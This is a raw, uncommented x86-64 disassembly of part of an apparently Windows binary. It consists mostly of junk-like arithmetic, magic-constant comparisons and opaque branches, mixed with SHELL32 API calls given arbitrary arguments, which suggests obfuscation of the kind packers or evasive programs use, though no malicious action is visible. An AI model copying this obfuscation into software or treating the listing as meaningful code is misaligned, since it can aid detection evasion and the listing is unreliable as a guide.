movzx r8d, word [rax]
mov rax, qword [rsp + 0x4db0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x4eb8]
movzx ecx, word [rax]
call fcn.14014b510
nop
jmp 0x14005c445
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4d78]
sar rax, cl
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
jmp 0x14005c467
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
movsx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401a0008], al
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov word [rsp + 0xb24], ax
movsx eax, word [rsp + 0xb30]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x29f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a44], eax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2a48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
xor eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d78]
or rcx, rax
mov rax, rcx
mov qword [0x1401c3b10], rax
movsx eax, byte [rsp + 0x98]
movsx ecx, byte [rsp + 0x138]
shl eax, cl
mov byte [rsp + 0x137], al
mov eax, dword [rsp + 0x2a34]
add eax, 0x60
mov dword [rsp + 0x2a34], eax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sar eax, cl
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x29d0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x29ec], eax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2a48]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov word [rsp + 0xb18], ax
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x137]
and eax, ecx
mov byte [rsp + 0x138], al
cmp dword [rsp + 0x2a34], 0x8fec
jb 0x14005c467
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [0x1401a0008]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d88]
movzx ecx, al
mov rax, qword [rsp + 0x4de0]
shl rax, cl
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb2c], ax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [rsp + 0x132], al
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [0x1401c3b10]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x2a48]
mov ecx, dword [rsp + 0x2974]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2a74]
add eax, 0x5f
mov dword [rsp + 0x2a74], eax
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a44]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb28]
or eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x132], al
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb20]
shl eax, cl
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x136], al
movzx eax, byte [0x1401a0008]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4de0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e90]
mov rcx, qword [rsp + 0x4ef0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x29ec], eax
mov eax, dword [rsp + 0x2974]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [0x1401c3b10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb2c]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a0008], al
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [0x1401a0008]
add eax, ecx
mov byte [rsp + 0x5f], al
movsx eax, word [rsp + 0xb20]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4e70]
mov qword [rsp + 0x4f60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f60]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2980]
movzx ecx, al
mov eax, dword [rsp + 0x2a48]
shl eax, cl
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x29ec]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x133], al
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
and eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
cmp dword [rsp + 0x2a74], 0xe582
jne 0x14005c6ef
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb34]
sub eax, ecx
movsx ecx, word [rsp + 0xb20]
mov rdx, qword [rsp + 0x4f00]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x140148f12
mov eax, dword [rsp + 0x29d0]
mov dword [rsp + 0x2aac], eax
cmp dword [rsp + 0x2aac], 0x8f049ea
je 0x14005cc34
jmp 0x14005cc58
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
jmp 0x14005ccb6
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov word [rsp + 0xb18], ax
lea rax, [rsp + 0xb30]
mov qword [rsp + 0x4f68], rax
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x5f]
and eax, ecx
mov byte [rsp + 0x136], al
mov dword [rsp + 0x2ab0], 0x3752
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x4f70], rax
mov rax, qword [rsp + 0x4d78]
mov qword [rsp + 0x4f78], rax
cmp dword [rsp + 0x2a10], 0x65ea
je 0x14005ce37
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4ee8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f8], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
add eax, ecx
mov byte [rsp + 0x138], al
movsx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4da0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
shl eax, cl
mov word [rsp + 0xb18], ax
mov eax, dword [rsp + 0x2a10]
add eax, 4
mov dword [rsp + 0x2a10], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d88]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee8], rax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x29f8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
jmp 0x14005ccc6
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov edx, dword [rsp + 0x29f8]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jl 0x14005ce9e
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0x136], al
movzx r8d, word [rsp + 0xb30]
movzx edx, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb2c]
call fcn.14014b510
nop
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401c3b18], al
movsx eax, byte [rsp + 0x137]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movsx eax, word [rsp + 0xb34]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4de0]
movzx ecx, al
mov rax, qword [rsp + 0x4d88]
shl rax, cl
mov qword [rsp + 0x4d70], rax
mov rax, qword [0x1401c3b10]
movzx ecx, al
mov rax, qword [rsp + 0x4d78]
sar rax, cl
mov qword [rsp + 0x4f78], rax
mov eax, dword [rsp + 0x2a50]
add eax, 0x53
mov dword [rsp + 0x2a50], eax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
mov dword [rsp + 0x2a48], eax
mov rax, qword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x29f8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
xor eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
movsx eax, byte [str.3__nS_G]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4f78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2a48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29f8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov word [rcx], ax
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ef8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d78], rax
movsx eax, byte [str.3__nS_G]
movsx ecx, byte [rsp + 0x134]
and eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
cmp dword [rsp + 0x2a50], 0xe40d
jbe 0x14005ce9e
cmp dword [rsp + 0x2a60], 0x607b
jae 0x14005d31b
mov eax, dword [rsp + 0x2a60]
add eax, 0x28
mov dword [rsp + 0x2a60], eax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2a48]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x28ac], eax
mov eax, dword [rsp + 0x29d0]
mov ecx, dword [rsp + 0x29ec]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ef0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
add eax, ecx
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
sub eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
movsx eax, word [0x1401c2a30]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f8], eax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4ef0]
mov qword [rsp + 0x4f80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f80]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f70]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4f78], rax
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4db0]
mov word [rcx], ax
jmp 0x14005d187
movzx eax, word [rsp + 0xb24]
mov dword [rsp + 0x2ab4], eax
cmp dword [rsp + 0x2ab4], 0x5a8
je 0x14005d34d
cmp dword [rsp + 0x2ab4], 0x6d4
je 0x14005d476
jmp 0x14005d49b
lea r9, [rsp + 0x4df0]
lea r8, [rsp + 0x4ee0]
mov edx, reloc.SHELL32.dll_SHUpdateImageW
mov rcx, qword [rsp + 0x4e10]
call qword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0x4dc8], rax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
sub eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4ef0]
mov rcx, qword [rsp + 0x4e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x2a44]
mov edx, dword [rsp + 0x29d0]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14005d439
movzx eax, byte [rsp + 0x135]
mov byte [rsp + 0x2ab8], al
cmp byte [rsp + 0x2ab8], 0x74
je 0x14005d3db
jmp 0x14005d419
movzx eax, word [0x1401c2a30]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4f70]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4eb0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4eb0]
movzx edx, word [rax]
mov rcx, qword [rsp + 0x4d78]
call fcn.14014af40
nop
jmp 0x14005d439
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
sub eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov r9d, 0x35
mov r8d, 0x7f
mov edx, 0x8e
mov rcx, qword [rsp + 0x4e78]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x135], al
jmp 0x14005d49b
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
call fcn.140149dc0
nop
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov dword [rsp + 0x2abc], eax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4f78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x137]
mov byte [rsp + 0x2ac0], al
cmp byte [rsp + 0x2ac0], 0
je 0x14005d4f9
cmp byte [rsp + 0x2ac0], 0x48
je 0x14005d711
jmp 0x14005d79c
lea rax, [rsp + 0x28ac]
mov qword [rsp + 0x4f88], rax
mov dword [rsp + 0x2ac4], 0x1882
mov rax, qword [rsp + 0x4d88]
mov qword [rsp + 0x4f90], rax
mov dword [rsp + 0x2ac8], 0xe91e
movzx eax, word [rsp + 0xb2c]
mov dword [rsp + 0x2acc], eax
cmp dword [rsp + 0x2acc], 0x23c
je 0x14005d550
jmp 0x14005d656
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f78]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c3b10]
mov rdx, qword [rsp + 0x4d78]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005d631
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb34], ax
mov eax, dword [rsp + 0x2988]
mov dword [rsp + 0x2ad0], eax
cmp dword [rsp + 0x2ad0], 0x229cc17c
je 0x14005d5c4
jmp 0x14005d60f
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
lea rcx, [rsp + 0x4da0]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
shl eax, cl
mov byte [rsp + 0x133], al
jmp 0x14005d62f
movsx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
jmp 0x14005d651
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb18], ax
jmp 0x14005d70c
mov rax, qword [rsp + 0x4ee8]
mov qword [rsp + 0x4f98], rax
movabs rax, 0x21ba91b605b0eda0
cmp qword [rsp + 0x4f98], rax
je 0x14005d6ee
movabs rax, 0x628078e7d000a645
cmp qword [rsp + 0x4f98], rax
je 0x14005d690
jmp 0x14005d70c
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d88]
mov rdx, qword [rsp + 0x4ee8]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005d6c9
call fcn.140149dc0
nop
jmp 0x14005d6ec
mov r8d, 1
lea rdx, [rsp + 0x28ac]
lea rcx, [rsp + 0x4e48]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x2a84], eax
jmp 0x14005d70c
mov rax, qword [rsp + 0x4ef0]
mov eax, dword [rax]
mov ecx, dword [0x1401c2a34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
jmp 0x14005d79c
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
movzx ecx, byte [rsp + 0x133]
mov rdx, qword [rsp + 0x4e30]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14005d79c
mov rax, qword [rsp + 0x4d88]
mov rcx, qword [rsp + 0x4f90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ee8], rax
lea rdx, [rsp + 0x16430]
mov ecx, 0x5c
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x2ad4], eax
mov rax, qword [rsp + 0x4f68]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4eb0]
movzx edx, word [rax]
movzx ecx, word [rsp + 0xb24]
call fcn.14014b510
nop
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb18]
or eax, ecx
movzx ecx, word [rsp + 0xb2c]
mov dword [rsp + 0x2ad8], ecx
movzx edx, word [rsp + 0xb24]
movzx ecx, dl
mov edx, dword [rsp + 0x2ad8]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005d7f0
mov rax, qword [rsp + 0x4f00]
movzx ecx, word [rax]
call fcn.14014a980
nop
jmp 0x140148e3d
mov rax, qword [rsp + 0x4f90]
mov qword [rsp + 0x4fa0], rax
cmp qword [rsp + 0x4fa0], 0
je 0x14005d828
movabs rax, 0x93e343bad8d49c51
cmp qword [rsp + 0x4fa0], rax
je 0x140148d39
jmp 0x140148d59
